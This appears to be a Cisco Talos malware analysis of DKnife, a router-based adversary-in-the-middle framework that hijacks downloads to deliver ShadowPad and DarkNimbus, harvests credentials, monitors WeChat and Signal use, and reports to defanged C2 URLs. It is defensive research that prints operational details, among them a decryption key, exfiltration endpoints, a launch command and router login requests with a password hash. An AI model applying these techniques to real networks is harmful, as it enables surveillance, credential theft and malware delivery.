 The configuration file /dksoft/conf/url.cfg defines the rules and responses used for traffic blocking, phishing on Android and Windows platforms, executable file (.exe)  hijacking, and credential-phishing page responses. The file follows the format: [Request URL] [Response JSON file] as shown in Figure 11. 

Within the /bin/html/dkay-scripts folder of the DKnife archive, there are 185 JSON files configured to hijack applications. The targeted applications are mostly popular Chinese-language services (some only available in China), including news media, video streaming, image editing apps, e-commerce platforms, taxi-service platforms, gaming, and pornography video streaming, among others. An example response used to hijack a Chinese photo editing application update request is shown below: 

Windows binary hijacking for delivering Shadowpad and DarkNimbus 

In addition to Android update hijacking, DKnife also supports hijacking of Windows and other binary downloads. The hijacking rules are set up during initialization. DKnife attempts to read the rules configuration file at /dksoft/conf/rules.aes and decrypts it using a variant of the Tiny Encryption Algorithm (TEA) algorithm employed by Tencent’s older OICQ/QQ login protocols, commonly referred to as QQ TEA. DKnife decrypts the file with a key dianke0123456789, and saves the decrypted file as rules.conf.  

Talos did not obtain the rules.aes file from the archive we downloaded. However, based on the code analysis, rules.conf is the configuration to define what requests to match, what to send back, when to throttle and tracking the response. The rules include the following information:  

Field in the line	Description
id=<number>	Rule ID
host=<regex>	Matching host IP
user_agent=<regex>	Matching User Agent
url=<regex>	Matching URL
file=<relative path>	Relative file name points into “/dksoft/html/dkay-scripts/”.
location=<HTTP Location>	HTTP location used for 302 redirects
msg=<plain text>	Message for operator
interval=<sec>	Minimum seconds between two injections to the same victim
duration=<sec>	How long the rule stays active once triggered

After reading the rules into a data structure in the memory, the rules.conf file is deleted on the device. When an HTTP request’s Host and URI match the configured rule, DKnife evaluates the rule’s duration and interval timers to determine whether to trigger. If the rule fires and the requested filename has a matching extension (e.g., “.exe”, “.rar”, “.zip”, or “.apk”), DKnife forges an HTTP 302 redirect whose Location URL is taken from the rule’s data field. 

If the binary download URL matches a specific pattern (“.exe” extension after the query symbol), the file name is replaced with install.exe. 

Shadowpad and DarkNimbus backdoors 

The install.exe file (SHA256: 2550aa4c4bc0a020ec4b16973df271b81118a7abea77f77fec2f575a32dc3444) is found in the downloaded archive under path /dkay-scripts/. It is a RAR self extraction package containing three binaries, that are actually ShadowPad and the DarkNimbus backdoor, which both being reported [1,2] used by China-nexus threat actors. When launched, the legitimate .exe (TosBtKbd.exe) sideloads the ShadowPad DLL loader (TosBtKbd.dll), which then loads the DarkNimbus DLL backdoor (TosBtKbdLayer.dll). That DarkNimbus backdoor calls out to the Cloudflare DNS address 1.1.1.1, which DKnife intercepts to return the real C2 IP. 

The Shadowpad sample has not been previously reported but is very similar to a previously reported sample. Although it uses a different unpacking XOR seed key, it employs the same unpacking algorithm. 

The Shadowpad samples (both .exe and .dll) are signed with two certificates both issued from the signer “四川奇雨网络科技有限公司”. This is a company located in Sichuan Chengdu, China specialised in developing computer software and providing network communication devices, according to publicly available information. Pivoting on this signer, Talos found 17 samples that contain the Shadowpad and DarkNimbus backdoor.  

Anti-virus traffic disruption 

The DKnife traffic inspection module actively identifies and interferes with communications from antivirus and PC-management products. It detects 360 Total Security by searching HTTP headers (e.g., the DPUname header in GET requests or the x-360-ver header in POST requests) and by matching known service domain names. When a match is found, the module drops or otherwise disrupts the traffic with the crafted TCP RST packet. It similarly looks for and disrupts connections to Tencent services and PC-management endpoints. 

Recognized Tencent-related domains: 

• dlied6.qq.com 
• pcmgr.qq.com 
• pc.qq.com 
• www.qq.com/q.cgi 

Keywords used to match 360 Total Security-related domains: 

• 360.cn 
• 360safe 
• qihucdn 
• duba.net 
• mbdlog.iqiyi.com 

User activity monitoring 

DKnife inspects traffic to monitor and report user’s network activity to its remote C2 in real time. Observed telemetry categories include messaging (Signal and WeChat activities including voice/video calls, sent texts, received images, in-app article views), shopping, news consumption, map searches, video streaming, gaming, dating, taxi and rideshare requests, mail checking, and other user actions. Most of the activity reports are triggered by monitoring the request to service/platform domains or URLs. When reporting, the code sends a corresponding embedded message representing the reported activity. For example, Figure 18 shows the code to report Signal messaging activities. The message sent to remote C2 translates to “Using Signal encryption chat APP”. 

The table below shows some of the observed telemetry categories and the embedded messages.  

WeChat activities	微信打语音或视频电话 (WeChat voice or video calls)  微信发送一条文字消息 (WeChat send a text message)  微信发送或者接收图片 (WeChat send or receive picture)  微信打开公众号看文章 (WeChat checking official account and articles)
Using Signal	使用signal加密聊天APP (Use the Signal encrypted-chat app)
Shopping activity	查询**商品信息 (Query product information on **)
Query train-ticket information	查询火车票信息 (Query train-ticket information)
Searching on Maps	查看**地图 (View the map)
Reading News	****看新闻 (Read news)
Dating Activity	****打开时 (When the dating app opens)

Email/platforms credential harvesting and phishing 

DKnife can harvest credentials from a major Chinese email provider and host phishing pages for other services.  For harvesting email credentials, the sslmm.bin component presents its own TLS certificate to clients, terminates and decrypts POP3/IMAP connections, and inspects the plaintext stream to extract usernames and passwords. Extracted credentials are tagged with “PASSWORD”, forwarded to the postapi.bin component, and ultimately relayed to remote C2 servers. 

DKnife can also serve phishing pages. The phishing routes are defined in url.cfg, and several phishing templates were discovered under /dkay-scripts/. All discovered pages submit harvested passwords to endpoints whose paths end with dklogin.html; however, no dklogin.html file was found in the local script directory. 

In addition to the capabilities described above, Talos observed DKnife functions that may target IoT devices. Talos is coordinating with the device vendor on mitigations. 

The DKnife downloader 

The ELF binary (17a2dd45f9f57161b4cc40924296c4deab65beea447efb46d3178a9e76815d06) we discovered from hunting is a downloader that downloads and performs initial setup for the DKnife framework. Upon execution, it attempts to load a configuration file from /dksoft/conf/server.conf to set up the C2 server. The server.conf file contains the C2 configuration in the format UPDATE URL=[config]. If the file does not exist, the binary defaults to the embedded C2 URL http://47.93.54[.]134:8005/. 

After configuring the C2, the binary retrieves or generates a UUID for the host device based on the MAC addresses of its network interfaces and stores it in /etc/diankeuuid. The UUID follows the format YYYYMMDDhhmmss[MAC1][MAC2] (e.g., 20240219165234000c295de649). The updater also stores a 32-character hexadecimal MD5 checksum in /dksoft/conf/<UUID>.ini, which is later used to verify updates from the C2 server.  

The code establishes persistence by modifying the /etc/rc.local file, a script commonly used to execute commands and scripts after the system boots and initializes services. The updater adds its commands between markers #startdianke and #enddianke. It also copies the currently running executable into the /dksoft/update/ directory and appends a corresponding entry to /dksoft/update/[executable path] auto to ensure the binary runs automatically each time the system starts. 

After creating the folders for DKnife deployment, the downloader fetches the DKnife archive from the C2 and launches every binary in /dksoft/bin/ using nohup [filepath] 2>/dev/null 1>/dev/null &. The folder contains seven binaries, each performing a distinct role within the DKnife framework. 

DKnife’s seven components 

The seven implants in DKnife serve the purpose of DPI engine, data reporting, reverse proxy for AitM attack, malicious APK download, framework update, traffic forwarding, and building P2P communication channel with the remote C2. A summary of the components and their roles are listed in the table below:

ELF Implant	Role	Description
dknife.bin	DPI & Attack Engine	The main engine of DKnife. Includes logic for deep packet inspection, user activities reporting, binary download hijacking, DNS hijacking, etc.
postapi.bin	Data Reporter	Performs as traffic labelling and relay component, receives traffic from DKnife and reports to remote C2.
sslmm.bin	Reverse Proxy	Reverse proxy server module modified from HAProxy. TLS termination, email decryption, and URL rerouting.
mmdown.bin	Updater	Malicious Android APK downloader/updater. It connects to C2 to download the APKs used for the attack.
yitiji.bin	Packets Forwarder	Creates a bridged TAP interface on the router to host and route attacker-injected LAN traffic.
remote.bin	P2P VPN	Customized N2N (a P2P) VPN client component that creates a communication channel to remote C2.
dkupdate.bin	Updater & Watchdog	Updater and Watchdog to keep the components alive.

The graph below shows how the seven DKnife components work together. 

DKnife.bin 

The dknife.bin implant is the main component that acts as the brain of DKnife. It is in charge of all the packet inspection and attack logics, as described in the Key Capabilities section. Upon execution, the implant does some initial setup for the framework. It reads the configuration file /dksoft/conf/wxha.conf to search for the sniffing interface (INPUT_ETH) and attacker interface (ATT_ETH). If the config file is not presented, the default interface for both are eth0. It also reads configuration files for attacking rules and remote C2.  

Throughout the packet inspection process, dknife.bin reports information including collected data, user’s activities, attack status and average throughput to the relay component postapi.bin listening at the 7788 port on the device. The reporting packets are a 256-byte UDP datagram with a fixed seven bytes prefix DK7788. At offset 0x40 a label is attached, which represents types of the information (example types including DKIMSI for IMSI information, USERID for harvested user accounts, WECHAT for WeChat activities reporting, ATKRESULT for attack results, etc). Each type of reporting has the corresponding report value format. We listed some examples in the graph below.  

Postapi.bin 

This is the data relay component in DKnife. It receives forwarded UDP dataframe from dknife.bin, processes, identifies, and labels the data and sends them to remote C2 servers. When receiving the UDP dataframe, it validates the DK7788 prefix and extracts device ID, MAC address, source and destination IPs and ports. It then exfiltrates more interesting data based on the rules defined in file ssluserid.conf. The file is a rulebook for defining the targeted services/platforms and the corresponding scrapping data. The rules define the following methods for scraping: 

• get_url: scrape a value from the URL of a GET request  
• get_cookie: scrape from Cookie header of a GET  
• post_url: scrape from the URL of a POST  
• post_cookie: scrape from Cookie header of a POST  
• post_content: scrape from the body of a POST  

Each rule also defines which data fields to collect. These include device IDs, phone numbers, IMEIs/IMSIs, MACs, UUIDs, IPs, usernames, etc. DKnife targets dozens of popular Chinese-language mobile and web apps, some of which are only available to Chinese users. Figure below shows part of the rules in the configuration file

Postapi.bin loads the configuration file server.conf to obtain the address of the remote C2 server used for data exfiltration. If the file is missing, it defaults to https://47.93.54[.]134:8003. The component uses libcurl to send different types of exfiltrated and reporting data via HTTP POST requests to specific API endpoints. The following table lists the reporting URLs and the corresponding data transmitted.

Default URL in the binary	Data Transmitted
https://47.93.54[.]134:8003/protocol/tcp-data	Full HTTP or DNS records: URL, headers, optional body (Base-64); raw packet excerpts
https://47.93.54 [.] 134:8003/protocol/channel-trigger-log	DKnife status log, debugging logs
https://47.93.54 [.] 134:8003/protocol/virtual-id	Bundles of device identifiers (IMEI, IMSI, phone number, MAC, UUID, IP) tied to a host name
https://47.93.54 [.] 134:8003/protocol/user-account	Harvested user credentials
https://47.93.54 [.] 134:8003/protocol/application	Posts per-application DNS/traffic-hijack data
https://47.93.54 [.] 134:8003/protocol/target-info	Online/offline heart-beat for a specific subscriber: PPPoE, MAC, last-seen time, device UUID
https://47.93.54 [.] 134:8003/public/bind-ip	IP&UUID bindings
https://47.93.54 [.] 134:8003/protocol/internet-action	WeChat/QQ “internet action” logs (e.g., friend-adds, file-sends)
https://47.93.54 [.] 134:8003/protocol/attack-result	Logs of attacking results

The posted data always include a dkimsi=<IMSI> at the end of the data, which is the IMSI or mobile identifier extracted from the packets if available. The binary set a default IMSI 460110672021628 in the code, which is an IMSI with a China Telecom carrier. 

Sslmm.bin 

This component acts as the reverse proxy server for the AitM attack and is implemented as a pre-configured, customized build of HAProxy. It loads its primary configuration from sslmm.cfg and performs request hijacking and replacement according to rules defined in url.cfg. Copies of hijacked traffic and execution results are encapsulated as UDP dataframes and sent to the postapi.bin component, similar to the behavior implemented in dknife.bin. 

In addition to standard HAProxy proxying, sslmm.bin includes custom logic to inspect, log, exfiltrate, and conditionally rewrite client HTTP(S) requests after TLS termination. Content injection is primarily performed through HTTP request-line replacement, redirecting victims to attacker-controlled resources that are typically hosted under the /dkay-scripts/ directory. The resulting telemetry and artifacts are then relayed via postapi.bin to remote C2 infrastructure. 

Operationally, the HAProxy configuration terminates TLS on HTTPS and mail-over-TLS ports (443, 993, 995) using a self-signed certificate stored at /dksoft/conf/server.pem, and proxies the decrypted traffic to the appropriate backends. A management/statistics interface is exposed on 0.0.0.0:10800 and protected only by static credentials. Requests matching the /dkay-scripts/ path are selectively downgraded to plain HTTP and routed to a local service at 127.0.0.1:81, enabling response modification or injection before content is returned to the client. 

This interception model depends on a key trust assumption: for the TLS MITM to be transparent, endpoints must accept the certificate chain presented by the gateway. One hypothesis is that the associated endpoint malware (given the broader DarkNimbus toolchain across Windows and Android) may be used to establish that trust or weaken certificate validation, enabling host-specific certificates to be presented during interception. However, we did not have the artifacts to confirm that such trust establishment or validation bypass is performed on victim devices.  

Yitiji.bin 

Yitiji.bin is a DKnife component that creates a bridged TAP interface on the router to host and route attacker-injected LAN traffic. It creates a virtual TAP interface named “yitiji”, using the IP address 10.3.3.3 and MAC address 1E:17:8E:C6:56:40, and bridges that interface to the real network. 

DKnife responds to binary download requests using URL points to the Yitiji interface (e.g., http://10.3.3.3:81/app/base.apk). When such a request is received, the dknife.bin component forwards the traffic to UDP port 555, where yitiji.bin is listening. The component then determines the appropriate link-layer encapsulation, reconstructs complete Ethernet/IP/TCP frames (primarily TCP and ICMP), corrects packet lengths and checksums, and injects them into the TAP interface. This causes the kernel to treat the forged traffic as legitimate LAN communication. Through this mechanism, DKnife can receive the binary download request and serve the payload via this interface. In the reverse direction, Yitiji captures packets leaving the TAP, restores their original VLAN/PPPoE/4G headers, recalculates IP and TCP checksums, and transmits them through the physical network interface specified in the configuration file /dksoft/conf/wxha.conf. It also fabricates ARP replies so other hosts treat the interface as a device in the LAN. 

In this way, Yitiji creates a distinct LAN for delivering the malware. This approach facilitates the AitM attack for binary downloads in a stealthy way that avoids IP conflicts and detection.  

Remote.bin 

This component functions as an N2N peer-to-peer VPN client. When executed it creates a virtual network device named “edge0” and attaches it to a P2P overlay, automatically joining the hardcoded community dknife and registering with the embedded supernode. All traffic routed into edge0 is encapsulated and forwarded over UDP to overlay peers, and the binary also binds a management UDP port on 5644. 

With this component, the gateway itself becomes reachable from the overlay and can serve as an egress point for data exfiltration. The implementation supports Twofish encryption if an N2N_KEY environment variable is supplied, but no such key was embedded in the analysed code or associated files. 

Mmdown.bin 

This binary is a simple Android APK malware downloader and update component in the DKnife framework. It communicates with a hardcoded C2 (http://47.93.54[.]134:8005) and periodically checks for an update manifest and then downloads whatever files the server specifies. 

On startup it ensures a handful of local directories exist and generates or reads the UUID from file /etc/diankeuuid to uses it as the filename for the downloaded per-host manifest file <UUID>.mm. The “.mm” file is a list of URLs and MD5 pairs in the format of http://[URL]<TAB><16-byte MD5>. After downloading the manifest file, it parses the file and repeatedly attempts to download each URL over plain HTTP, verifies the downloaded file’s MD5, and on success copies the file into the local web content directory /dksoft/html/app/. When one or more files are successfully fetched it archives the manifest into /dksoft/conf/<UUID>.mm and updates internal MD5 bookkeeping so it doesn’t repeatedly download the same files. 

Dkupdate.bin 

This binary functions as a DKnife download, deploy, and update component similar to the downloader we initially discovered, but with additional capabilities. It retrieves an update archive update_bin.tar.gz from a C2 server (using a different embedded default URL: http://117.175.185[.]81:8003/), launches a separate binary called eth5to2.bin (not included in the downloaded archive, likely for traffic forwarding) and starts Nginx to run the web server to serve the hijacking components that manipulate HTTP/HTTPS responses.

Getting Network Devices Information 

In both dknife.bin and postapi.bin components, DKnife tries to login to an interface which is likely for router management at 192.168.92.92:8080 via the following POST request to retrieve network users and PPPOE information. The POST request for login and getting device information both sent a password MD5 (which is the MD5 of q1w2e3r4) for authentication. If successful login, the server replies with a device serial number (SN) and number of users currently registered. If the number is not zero, the implant requests for the list of MAC and PPPoE ID mapping. 

POST /login HTTP/1.1 

Host: 192.168.92.92:8080 

Content-Type: application/json 

Content-Length: 38 

 

{"passwdMD5":"c62d929e7b7e7b6165923a5dfc60cb56"} 

 

POST /fe-device-info HTTP/1.1 

Host: 192.168.92.92:8080 

User-Agent: Mozilla/5.0 

Cookie: feWebSession={"sessionId":****} 

Content-Length: 48 

 

{"passwdMD5":"c62d929e7b7e7b6165923a5dfc60cb56"} 

 

POST /user HTTP/1.1 

Host: 192.168.92.92:8080 

User-Agent: Mozilla/5.0 

Cookie: feWebSession={"sessionId":} 

Content-Type: application/json 

Content-Length: 15 

 

{"index":"all"} 

Conclusion 

Routers and edge devices remain prime targets in sophisticated targeted attack campaigns. As threat actors intensify their efforts to compromise this infrastructure, understanding the tools and TTPs they employ is critical. The discovery of the DKnife framework highlights the advanced capabilities of modern AitM threats, which blend deep‑packet inspection, traffic manipulation, and customized malware delivery across a wide range of device types. Overall, the evidence suggests a well‑integrated and evolving toolchain of AitM frameworks and backdoors, underscoring the need for continuous visibility and monitoring of routers and edge infrastructure. 

Appendix 

Configuration Files 

Config file	In Default Archive	Description
/dksoft/conf/wxha.conf	Yes	Config for the attack and sniff interface, output environment, QQ proxy host.
/dksoft/conf/rules.aes  /dksoft/conf/rules.conf		rulebook for HTTP(S) traffic hijacking.
/dksoft/conf/dns.conf		DNS hijacking mapping configuration.
/dksoft/conf/url.cfg	Yes	Configuration for traffic blocking, Android + Windows phishing, executable file (.exe)  replacement, credential-stealer pages & scripts.
/dksoft/conf/server.conf		C2 configuration
/dksoft/conf/adsl.conf		Configuration related to the ADSL related rules
/dksoft/conf/userid.conf		Configuration to define what user information to collect from the targeted traffic.
/dksoft/conf/appdns.conf		Configuration to map domain names to certain apps.
/dksoft/conf/browser.conf		Configuration to map user agents to browsers.
/dksoft/conf/perdns.conf	Yes	DNS hijacking mapping configuration for more specific arguments for control.
/dksoft/conf/target.conf		Configuration about targets. Operator’s watchlist of subscriber identifiers (MAC or PPPoE)
/dksoft/conf/target_mac.conf		Shadow file of target list.
/dksoft/conf/ssluserid.conf		Read by postapi.bin, not in the archive by default. Traffic sniffing and data exfiltration playbook
/dksoft/conf/appname.conf		Configuration that lets the implant classify traffic for apps and attach rich context before sending it to C2 or using it in hijack/redirect logic.
/dksoft/conf/retry.conf		The rules to define what traffic for retry
/dksoft/conf/black.conf	Yes	The config file for blocking traffic
/dksoft/conf/white.conf		The config file for approving traffic
/dksoft/conf/datacenter.conf		mapping of UUID in URL&IP for the postAPI module.
/dksoft/conf/sslmm.cfg		Config for the sslmm HAproxy module.
/dksoft/conf/hosts		DNS list for triggering rules

Certificate 

Fingerprint=78:47:E0:0E:9C:0A:60:80:A6:48:CE:97:7F:30:63:7E:8A:D5:22:97:EA:10:8E:5F:CB:E9:87:48:49:BC:A5:47 

Certificate: 

    Data: 

        Version: 3 (0x2) 

        Serial Number: 

            c7:d6:08:d3:74:d1:a8:0e 

        Signature Algorithm: sha256WithRSAEncryption 

        Issuer: C=CN, ST=beijing, L=beijng, O=BEIJING JINGDONG SHANKE, OU=BEIJING JINGDONG SHANKE, CN=*.jd.com 

        Validity 

            Not Before: Jan  9 01:38:16 2020 GMT 

            Not After : Jan  4 01:38:16 2040 GMT 

        Subject: C=CN, ST=beijing, L=beijing, O=BEIJING JINGDONG SHANKE, OU=BEIJING JINGDONG SHANKE, CN=*.jd.com 

        Subject Public Key Info: 

            Public Key Algorithm: rsaEncryption 

Fingerprint=80:BC:19:8B:A9:E9:0E:62:50:4B:21:EC:69:2F:87:30:3B:7D:75:E7:A8:95:06:D3:0B:FA:52:18:57:23:3D:72 

Certificate: 

    Data: 

        Version: 3 (0x2) 

        Serial Number: 

            c0:5d:fd:b4:4c:28:07:72 

        Signature Algorithm: sha256WithRSAEncryption 

        Issuer: C=CN, ST=Sichuan, L=Chengdu, O=Default Company Ltd 

        Validity 

            Not Before: Sep 20 06:43:37 2018 GMT 

            Not After : Aug 27 06:43:37 2118 GMT 

        Subject: C=CN, ST=Sichuan, L=Chengdu, O=Default Company Ltd 

        Subject Public Key Info: 

            Public Key Algorithm: rsaEncryption 

Coverage 

The following ClamAV signature detects and blocks this threat: 

• Win.Trojan.Shadowpad-10010830-1 
• Win.Loader.WizardNet-10044819-0 
• Win.Trojan.DarkNimbus-10059255-0  
• Win.Trojan.DKnife-10059257-0 
• Unix.Trojan.DKnife-10059259-0   
• Win.Trojan.DKnife-10059260-0   

The following Snort rules cover this threat: 

• Snort 2 – 65533
• Snort 3 – 65533

Indicators of Compromise (IoCs) 

IOCs for this research can also be found at our GitHub repository here.

Cisco Talos Blog – ​Read More